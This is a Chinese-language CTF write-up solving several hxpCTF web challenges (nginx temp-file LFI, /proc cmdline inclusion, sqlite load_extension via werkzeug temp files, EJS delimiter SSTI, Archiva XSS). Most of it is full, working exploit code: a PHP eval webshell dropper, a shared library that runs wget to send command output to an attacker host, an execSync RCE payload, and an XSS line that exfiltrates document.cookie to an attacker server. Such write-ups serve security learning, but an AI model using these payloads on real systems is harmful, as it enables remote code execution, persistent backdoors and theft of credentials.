March 29, 2023

HxpCTF2022&2021 Web

includer’s revenge

考点:nginx缓存文件包含shell

1
2
<?php ($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');

源码内容就很短,裸文件包含
https://tttang.com/archive/1395/#toc_0x00-tldr
根据陆队的文章可以学到一些东西,也就是nginx的缓存文件,当我们的request body过大的时候,会在/var/lib/nginx/fastcgi目录产生缓存文件,文件内容就是我们溢出部分的内容,那么我们只需要来一段不断重复的一句话木马,即可完成LFI FastCGI Temp

官方预期解

https://blog.z3ratu1.cn/hxpctf2021%E5%A4%8D%E7%8E%B0.html拿了一个Demo下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <unistd.h>

void main() {
char buffer[128] = { 0 }, s[128] = { 0 }, name[32] = {0};
printf("Enter a name :");
gets(name);
int fd = open((const char*)name, O_CREAT | O_EXCL | O_RDWR, 0600);

if (fd != -1) {
(void)unlink((const char*)name);
}


printf("Enter a value :");
gets(s);

write(fd, s, sizeof(s));

lseek(fd, 0, SEEK_SET);
printf("Wait for input\n");
getchar();

read(fd, buffer, sizeof(buffer));
printf("%s", buffer);
}
1
2
3
4
5
6
7
root@myserver:~/test# ./main
Enter a name :testfile
fd is 3
Enter a value :aaaaaaaaaaaa
Wait for input
d
aaaaaaaaaaaa

在进行输入的时候我们看一下proc/fd下的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@myserver:/proc/20006/fd# ps aux | grep main
postgres 592 0.0 0.7 294704 14388 ? S 2021 7:03 /usr/lib/postgresql/9.5/bin/postgres -D /var/lib/postgresql/9.5/main -c config_file=/etc/postgresql/9.5/main/postgresql.conf
root 20148 0.0 0.0 4356 644 pts/0 S+ 11:33 0:00 ./main
root 20153 0.0 0.0 14228 956 pts/1 S+ 11:33 0:00 grep --color=auto main
root@myserver:/proc/20006/fd# cd /proc/20148/fd
root@myserver:/proc/20148/fd# ll
total 0
dr-x------ 2 root root 0 Jan 5 11:33 ./
dr-xr-xr-x 9 root root 0 Jan 5 11:33 ../
lrwx------ 1 root root 64 Jan 5 11:33 0 -> /dev/pts/0
lrwx------ 1 root root 64 Jan 5 11:33 1 -> /dev/pts/0
lrwx------ 1 root root 64 Jan 5 11:33 2 -> /dev/pts/0
lrwx------ 1 root root 64 Jan 5 11:33 3 -> /root/test/testfile (deleted)
root@myserver:/proc/20148/fd# cat 3
aaaaaaaaaaaaroot@myserver:/proc/20148/fd#

可以发现出现了缓存文件的内容,内容就是溢出的a字符,但是后面有个deleted意思就是已经给删除,fd下的文件也全都是以软连接的形式存在的,因此当require_once包含时会失败,而且一旦第一次失败,会存入缓存,那么后面的尝试也都会失败,我们就无法条件竞争了

If a file was deleted while a process holds an open file descriptor:
realpath() will return the last path of the file with “ (deleted)” appended to it.
open() will return an fd that can be used to read the original file content.

这里就涉及一个对软链接的bypass,这个见得也比较多,官方给的是/proc/self/fd/34/../../../34/fd/9,这样即可绕过这一层判断,然后下面放上exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import requests
import threading
import multiprocessing
import threading
import random

SERVER = "http://192.168.43.103:49153"
NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
# Set the following to True to use the above set of PIDs instead of scanning:
USE_NGINX_PIDS_CACHE = False

#创建会话句柄
def create_requests_session():
session = requests.Session()
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
#自定义HTTP适配器,创建连接池,消除tcp三次握手时延
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
session.mount('http://', adapter)
return session

#获取Nginx主进程pid
def get_nginx_pids(requests_session):
if USE_NGINX_PIDS_CACHE:
return NGINX_PIDS_CACHE
nginx_pids = set()
# Scan up to PID 200
for i in range(1, 200):
cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
if cmdline.startswith("nginx: worker process"):
nginx_pids.add(i)
return nginx_pids

#向Nginx发送过大Body,使其生成临时文件
def send_payload(requests_session, body_size=1024000):
try:
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
payload = '<?php system("/readflag");__halt_compiler(); ?>'
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass

#循环发送
def send_payload_worker(requests_session):
while True:
send_payload(requests_session)

#多线程发送Payload
def send_payload_multiprocess(requests_session):
# Use all CPUs to send the payload as request body for Nginx
for _ in range(multiprocessing.cpu_count()):
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
p.start()

#生成随机路径/proc/pid/cwd/proc/pid/root绕过php软连接stat
def generate_random_path_prefix(nginx_pids):
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
path = ""
component_num = random.randint(0, 10)
for _ in range(component_num):
pid = random.choice(nginx_pids)
if random.randint(0, 1) == 0:
path += f"/proc/{pid}/cwd"
else:
path += f"/proc/{pid}/root"
return path

#遍历读fd文件
def read_file(requests_session, nginx_pid, fd, nginx_pids):
nginx_pid_list = list(nginx_pids)
while True:
path = generate_random_path_prefix(nginx_pid_list)
path += f"/proc/{nginx_pid}/fd/{fd}"
try:
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
except:
continue
if "flag" in d:
print("Found flag! ")
print(d)
exit()

#多线程竞争临时文件
def read_file_worker(requests_session, nginx_pid, nginx_pids):
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
for fd in range(10, 45):
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
thread.start()

#多进程竞争临时文件
def read_file_multiprocess(requests_session, nginx_pids):
for nginx_pid in nginx_pids:
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
p.start()

if __name__ == "__main__":
print('[DEBUG] Creating requests session')
requests_session = create_requests_session()
print('[DEBUG] Getting Nginx pids')
nginx_pids = get_nginx_pids(requests_session)
print(f'[DEBUG] Nginx pids: {nginx_pids}')
print('[DEBUG] Starting payload sending')
send_payload_multiprocess(requests_session)
print('[DEBUG] Starting fd readers')
read_file_multiprocess(requests_session, nginx_pids)

之后通过条件竞争即可获取flag:
image.png
我觉得是一道非常有意思的题目哈哈哈,就是你电脑的CPU可能给你干碎。。。跑完这个脚本我电脑CPU拉满了

解法二

使用Filterchain

include

考点:compress://zlib缓存文件包含
属于是孪生兄弟了这两题
考点是用compress://zlib产生的缓存文件,因为不是21年的就不复现了(懒了)

counter

考点:cmdline文件包含,死亡绕过?
说实话外国人考这些题目真是有规律,这三题全是缓存文件包含,每个比赛都有一个侧重点的属于是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$rmf = function($file){
system('rm -f -- '.escapeshellarg($file));
};

$page = $_GET['page'] ?? 'default';
chdir('./data');

if(isset($_GET['reset']) && preg_match('/^[a-zA-Z0-9]+$/', $page) === 1) {
$rmf($page);
}

file_put_contents($page, file_get_contents($page) + 1);
include_once($page);

源码审计也就这么多
题目的表层意思是只让我们传入数字123,否则就调用rmf函数去删除文件,然后它的file_put_contents中也比较有意思,尾巴后面有个1,意思应该是你能写入的文件内容也只能是数字,你写一次数字加个1,所以没什么用
因此应该思考如何利用include_once去进行文件包含,要实现这个目的,首先该文件应该不可写,因为如果可写在上一步就被覆盖了,所以只能是linux自带的一些系统文件
这就让人很容易联想到proc目录下的一系列文件,而这里我们需要利用的就是cmdline文件,假如cmdline文件的内容是一段恶意的php代码,那岂不是就可以

proc/xx/cmdline这个文件的分割符是\0,并且当调用rm -rf函数时,也会开辟一个cmdline文件

思路至此成立,通过条件竞争的形式往不断的调用rmf函数,往cmdline注入我们的恶意代码,那么如何找到该pid呢?
wp中给出了一种很妙的方法,通过/proc/sys/kernel/ns_last_pid文件,这个文件有什么用呢:
image.png
也就是你最后一个pid是多少,那么每当我们调用一次cmdline,我们就包含一次这个pid,就可以大大提高竞争效率

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#Author:Boogipop
import sys
import base64
import requests,threading,time,urllib3
def Reset():
while not Done:
data={
"page":f"abcdef{encode_payload}",
"reset":1
}
r=requests.get(url=url,params=data)
def Read_pid():
while not Done:
r2=requests.get(url=url,params={
"page":"/proc/sys/kernel/ns_last_pid"
})
global pid
pid=int(r2.text)
# print("read_last_pid[]"+str(pid))

def Read_content(offset):
while not Done:
print("PID FOUND [+] : "+str(pid),file=sys.stderr)
r3=requests.get(url=url,params={
"page":f"php://filter/convert.base64-decode/resource=/proc/{pid+offset}/cmdline",
"s":"fuck",
"p":"<?php eval($_POST[1]);?>"
# "page":f"/proc/{pid+offset}/cmdline"
})
print(r3.text)
def Verify():
global Done
verify_url=url+"/data/boogipop.php"
data={
"1":"echo 'Boogipop_Veryfiy';"
}
verify=requests.post(url=verify_url,data=data)
content=verify.text
while "Boogipop_Veryfiy" in content:
print("Inject Successfully! Here is your backdoor file: boogipop.php")
Done=True
return True
if __name__=="__main__":
Done = False
url = "http://127.0.0.1:8008"
pid = 1
payload=f"""<?php if($_GET['s']==='fuck')file_put_contents("boogipop.php",$_GET['p']);/*aa""".encode()
encode_payload=base64.b64encode(payload).decode("utf-8")
print("encoded_payload "+encode_payload)
evnet=threading.Event() #开启线程
for i in range(5):
threading.Thread(target=Reset,args=()).start()
for i in range(5):
threading.Thread(target=Read_pid, args=()).start()
for i in range(10):
threading.Thread(target=Read_content, args=(i,)).start()
evnet.set() #将信号标志设置为True,并唤醒所有处于等待状态的线程。
while not Done:
flag=Verify()
if flag:
evnet.clear()
break

外国人什么勾八脚本,U1S1不如我这个脚本(完全不是自负)谁用谁知道,捏吗的一个条件竞争写的和世界大战一样的,我是不理解的好吧,然后print后面加个sys.stout什么的,不知道的以为是什么细节,结果一用就是让输出变成红色更加炫酷,草!

然后需要注意的是,我们payload中的base64编码不可以有+,=这样的特殊符号,否则是不会调用rm方法的,因此我们的payload才那么奇怪

image.png

解法二

同样也是FilterChain通杀解法

sqlite_web

考点:werkzeug缓存文件包含
这几天打Hxp认得最多的就是缓存文件包含,这么情有独钟,首先先审一下题目,题目给了一个数据库模拟器:
image.png
这些数据都没什么用都是静态数据,但是提供了一个query查询功能,也就是可以执行自定义的sql语句,这里测试了一下,和以往的sql不同,这里应该是自定义的,因此database()这样的函数无法使用,发现只有load_extension、sha256、HEX()这种函数可以使用
然后目录扫描可以发现在每一个ad、gz...目录后都存在一个import功能:
image.png
那么很容易想到load_extension加载恶意so文件了
准备一个如下恶意文件:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void flag() {{
system("wget --post-data `/readflag` http://{my_host}:{my_port}");
}}

void space() {{
// this just exists so the resulting binary is > 500kB
static char waste[500 * 1024] = {{2}};
}}

给他编译一下,后缀名编译为csv。那么上传文件后,我们怎么知道它保存在哪儿呢?这里也涉及到和nginx缓存文件一样的内容,werkzeug也是有缓存文件一说的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def default_stream_factory(
total_content_length: t.Optional[int],
content_type: t.Optional[str],
filename: t.Optional[str],
content_length: t.Optional[int] = None,
) -> t.IO[bytes]:
max_size = 1024 * 500

if SpooledTemporaryFile is not None:
return t.cast(t.IO[bytes], SpooledTemporaryFile(max_size=max_size, mode="rb+"))
elif total_content_length is None or total_content_length > max_size:
return t.cast(t.IO[bytes], TemporaryFile("rb+"))

return BytesIO()

并且大小必须超过500kb,那么很容易想到之前一直用的/proc/self/fd/xxx进行文件包含,我们这次也延续这种方法写一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/env python3

from threading import Thread
import requests
import subprocess
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
import sys

EXPLOIT = 'rce.csv'

HOST = '127.0.0.1'
PORT = 8096
MY_HOST = '114.116.119.253'
MY_PORT = 7788

def send_rce():
print('[+] uploader started', file=sys.stderr)
while True:
r = requests.post(url=f"http://{HOST}:{PORT}/gz/import/",
files={
'file': open(EXPLOIT, 'rb')
},headers=headers)
print(r.status_code, "UPLOAD", file=sys.stderr)

def call_rce(fd):
print('[+] caller started', file=sys.stderr)
while True:
r = requests.post(url=f"http://{HOST}:{PORT}/gz/query",
data={
"sql": f"""select load_extension("/proc/self/fd/{fd}","flag")"""
},headers=headers)
print(r.status_code, "CALL", file=sys.stderr)

def compile_exploit():
with open("rce.c", "w") as f:
f.write(f"""
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void flag() {{
system("wget --post-data `/readflag` http://{MY_HOST}:{MY_PORT}");
}}

void space() {{
static char waste[500 * 1024] = {{2}};
}}
""")
r = subprocess.run(["gcc", "-shared", "rce.c", "-o", EXPLOIT])
if r.returncode != 0:
exit(-1)

class Handler(BaseHTTPRequestHandler):
def do_POST(self):
content_len = int(self.headers.get('Content-Length'))
flag = self.rfile.read(content_len)
print(flag.decode())

class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
pass

def server():
print('[+] http server started', file=sys.stderr)
server = ThreadingSimpleServer(('0.0.0.0', MY_PORT), Handler)
# we only need to handle one response
server.handle_request()
server.shutdown()

if __name__ == "__main__":
headers = {
"Authorization": "Basic aHhwOmh4cA==",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
}
compile_exploit()

s = Thread(target=server, daemon=True)
s.start()

t1 = Thread(target=send_rce, daemon=True)
t1.start()
for i in range(7, 8):
t2 = Thread(target=call_rce, daemon=True, args=(i,))
t2.start()

s.join()

image.png
即可RCE

valentine

考点:ejs的模板分隔符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
var express = require('express');
var bodyParser = require('body-parser')
const crypto = require("crypto");
var path = require('path');
const fs = require('fs');

var app = express();
viewsFolder = path.join(__dirname, 'views');

if (!fs.existsSync(viewsFolder)) {
fs.mkdirSync(viewsFolder);
}

app.set('views', viewsFolder);
app.set('view engine', 'ejs');

app.use(bodyParser.urlencoded({ extended: false }))

app.post('/template', function(req, res) {
let tmpl = req.body.tmpl;
let i = -1;
while((i = tmpl.indexOf("<%", i+1)) >= 0) {
if (tmpl.substring(i, i+11) !== "<%= name %>") {
res.status(400).send({message:"Only '<%= name %>' is allowed."});
return;
}
}
let uuid;
do {
uuid = crypto.randomUUID();
} while (fs.existsSync(`views/${uuid}.ejs`))

try {
fs.writeFileSync(`views/${uuid}.ejs`, tmpl);
} catch(err) {
res.status(500).send("Failed to write Valentine's card");
return;
}
let name = req.body.name ?? '';
return res.redirect(`/${uuid}?name=${name}`);
});

app.get('/:template', function(req, res) {
let query = req.query;
let template = req.params.template
if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(template)) {
res.status(400).send("Not a valid card id")
return;
}
if (!fs.existsSync(`views/${template}.ejs`)) {
res.status(400).send('Valentine\'s card does not exist')
return;
}
if (!query['name']) {
query['name'] = ''
}
return res.render(template, query);
});

app.get('/', function(req, res) {
return res.sendFile('./index.html', {root: __dirname});
});

app.listen(process.env.PORT || 3000);

审计一下代码可以发现,就是一个可控模板内容的app,我们可以创建自定义内容的ejs模板文件,然后在另一个路由对齐进行渲染,题目中有一个误导:
<%= name %>,这一段话很容易让人想歪,让人觉得只能以这段话开头,实际上不是,我们都知道SSTI就是因为模板符号滥用导致的,这就涉及模板分隔符的概念了,在之前的文章里我们讲到了python原型链污染,我们是污染flask的模板分隔符从而达成的rce,这里我们可以查阅一下ejs的官方文档:
image.png
直接就说了我们可以通过在render函数后传入一个{delimiter:"?"}改变模板分隔符为?,利用这一点就可以直接RCE了
<?global.process.mainModule.require('child_process').execSync('/readflag')?>
但是还有一个问题等着我们去解决,那就是缓存问题
在Dokcerfile中ENV NODE_ENV=production 这会导致服务器缓存开启

1
2
3
if (env === 'production') {
this.enable('view cache');
}

因此我们不能让服务器进行自动跳转,正常来说创建完模板是会自动跳转的,所以我们得用burp手动抓包,放包,或者写一个py脚本不允许跳转:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python3
import requests
import re

HOST = '127.0.0.1'
PORT = 9086

# write template
r = requests.post(f"http://{HOST}:{PORT}/template", data={"tmpl":"""<?= global.process.mainModule.constructor._load(`child_process`).execSync(`/readflag`).toString() ?>"""}, allow_redirects=False)
# change delimiter
m = re.search(r"Redirecting to /(?P<uuid>.*)?name=", r.text)
r = requests.get(f"http://{HOST}:{PORT}/{m.group('uuid')}?name=a&delimiter=?")
m = re.search(r"hxp\{[^}]+\}", r.text)
print(m.group(0))

image.png

archived

考点:Apache Archiva的xss 0day
这里本地复现的时候因为docker里有一个东西很傻逼,他docke文件中有个sh文件调用了curl方法下载一个100mb的文件
image.png
加上种种原因双重折磨,我就不复现了(lazy_dog)
大致介绍一下,就是一个可以上传仓库Artifact的app,上传后大概如下(偷葵的图片)
image.png
然后管理员bot行为如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env python3

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.chrome.service import Service
from webdriver_manager.chrome import ChromeDriverManager
from webdriver_manager.core.utils import ChromeType
import re
import sys
import os
import time
from urllib.parse import quote

def get(prompt, regex):
inp = input(prompt)
if not re.match(regex, inp):
print(f"Input {inp} does not match regex {regex}", flush=True)
exit(1)
return inp

USERNAME = "admin"
PASSWORD = "admin123"
CHALLENGE_IP = "chall"
PROXY_USERNAME = "hxp"
PROXY_PASSWORD = "hxp"
PORT = 8081

if len(sys.argv) == 3:
# remote setup, IP, proxy, admin_password and port will differ!
CHALLENGE_IP = sys.argv[1]
PASSWORD = sys.argv[2]

print("Please supply connection details for your instance")
PROXY_USERNAME = get("Please give instance username: ", r"^[a-zA-Z0-9_-]+$")
PROXY_PASSWORD = get("Please give instance password: ", r"^[a-zA-Z0-9_-]+$")
PORT = get("Please give instance port: ", r"^\d+$")

chrome_options = Options()
chrome_options.add_argument('--disable-gpu')
chrome_options.add_argument('--headless')
chrome_options.add_argument('--no-sandbox')
chrome_options.add_argument("--disable-dev-shm-usage")
driver = None

try:
driver = webdriver.Chrome(service=Service(ChromeDriverManager(chrome_type=ChromeType.CHROMIUM).install()), options=chrome_options)
wait = WebDriverWait(driver, 10)

# log in
base_url = f"http://{quote(PROXY_USERNAME)}:{quote(PROXY_PASSWORD)}@{CHALLENGE_IP}:{PORT}"
print(f"Logging in to {base_url}", flush=True)
driver.get(base_url)

wait.until(lambda d: d.find_element(By.ID, "login-link-a"))
time.sleep(2)

driver.find_element(By.ID, "login-link-a").click()

wait.until(lambda d: d.find_element(By.ID, "modal-login").get_attribute("aria-hidden") == "false")
time.sleep(2)

username_input = driver.find_element(By.ID, "user-login-form-username")
username_input.send_keys(USERNAME)

password_input = driver.find_element(By.ID, "user-login-form-password")
password_input.send_keys(PASSWORD)

login_button = driver.find_element(By.ID, "modal-login-ok")
login_button.click()

wait.until(lambda driver: driver.execute_script("return document.readyState") == "complete")
time.sleep(2)

print(f"Hopefully logged in", flush=True)

# visit url
url = f"http://{CHALLENGE_IP}:{PORT}/repository/internal"
print(f"Visiting {url}", flush=True)
driver.get(url)
wait.until(lambda driver: driver.execute_script("return document.readyState") == "complete")
time.sleep(2)

except Exception as e:
print(e, file=sys.stderr, flush=True)
print('Error while visiting')
finally:
if driver:
driver.quit()

print('Done visiting', flush=True)

审一下发现会定期访问/repository/internal路由,也就是我们上传仓库的地址,我们要在这个界面触发xss拿到管理员的cookie,这里可以直接滞空前面3个选项,最后一个文件名填上我们的xsspayload,其中要绕过/,因为文件名不允许这个符号存在,可以用document.charCodeAt去绕过:
<img src=a onerror="fetch(String.fromCharCode(47)+String.fromCharCode(47)+'{my_host}:{my_port}'+String.fromCharCode(47)+btoa(document.cookie))">最后payload大概长这样,拿到cookie后变为管理员,会多出一个创建仓库,这里可以指定仓库的目录,指定为根目录直接读取flag即可:
image.png
到这里题目作者还想要进行RCE,我觉得不太现实,因为仅凭XSS不太可能RCE我只能说

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#hxp